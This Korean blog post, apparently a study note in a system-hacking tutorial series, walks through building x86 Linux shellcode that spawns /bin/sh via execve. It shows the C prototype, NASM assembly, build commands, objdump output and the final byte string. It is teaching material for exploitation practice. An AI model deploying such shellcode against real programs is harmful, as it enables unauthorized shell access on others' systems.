Shell Code 는 작은 크기의 코드로 메모리에 업로드 되어 명령어 실행이 가능한 코드를 말한다 .
셸코드 라고 불리는 까닭은 일반적으로 셸을 획득하고 거기서 부터 공격자가 후속 공격을 하기 때문이라고 한다.
Shell Code 만들기
x86 기준으로 만들어 보겠다.
셸코드를 만드는 방법은 우선 원하는 기능을 c로 구현해야 한다.
#include <unistd.h> void main() { char * shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); }
이건 execve 함수로 /bin/sh 를 실행하는 프로그램이다.
셸코드를 만들기 위해 필요한 것은
/bin/sh 와 execve 이다.
int execve( const char * filename, char * const argb[], char * const envp[]);
execve 의 원형은 위와 같은데
syscall table 에서 확인해보면
execve(ebx, ecx, edx) 이므로
ebx : /bin/sh
ecx : NULL
edx : NULL
이 들어가야 한다.
이 C 코드를 Static 으로 컴파일 한 후
필요한 어셈블리를 추출한다.
그렇게 추출한 코드를 바탕으로 다음과 같이 짜줬다.
section .text global _start _start: xor ecx, ecx ;ecx 초기화 xor eax, eax ; eax 초기화 push ebp mov ebp, esp ; 함수 프롤로그 push 0x68732f2f ;//sh push 0x6e69622f ;/bin mov ebx, esp xor edx, edx mov al, 0xb ; execve syscall code int 0x80 ; 함수의 시작을 알리는 interupt
이렇게 코딩한 .asm 파일은
32 비트의 경우nasm -f elf 파일명.elf
64비트의 경우nasm -f elf64 파일명.asm
이후
ld -m elf_i386 -s 파일명 -o 아웃풋 파일명
ld 파일명.o -o 아웃풋 파일명
으로 링킹해주면 된다.
이렇게 만든 프로그램을objdump -d <filename> -M intel
로 디스어셈 해보면
08049000 <.text>: 8049000: 31 c9 xor ecx,ecx 8049002: 31 c0 xor eax,eax 8049004: 55 push ebp 8049005: 89 e5 mov ebp,esp 8049007: 68 2f 2f 73 68 push 0x68732f2f 804900c: 68 2f 62 69 6e push 0x6e69622f 8049011: 89 e3 mov ebx,esp 8049013: 31 d2 xor edx,edx 8049015: b0 0b mov al,0xb 8049017: cd 80 int 0x80
이렇게 되고
기계어 부분만 가져오면\x31\xc9\x31\xc0\x55\x89\xe5\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xb0\x0b\xcd\x80
셸코드가 완성된다.
이 글은 옵시디언을 이용해서 작성되었습니다.
'TOOR' 카테고리의 다른 글
[TOOR] 6.1. Canary & canary write_up (0) | 2023.09.19 |
---|---|
[TOOR] 5.4. shell_basic write_up (0) | 2023.09.19 |
[TOOR] 5.2 NXbit (0) | 2023.09.19 |
[TOOR] 5.1. BOF (내 안의 버퍼가 넘친다!) (0) | 2023.09.19 |
[TOOR] 4.Handray (0) | 2023.09.19 |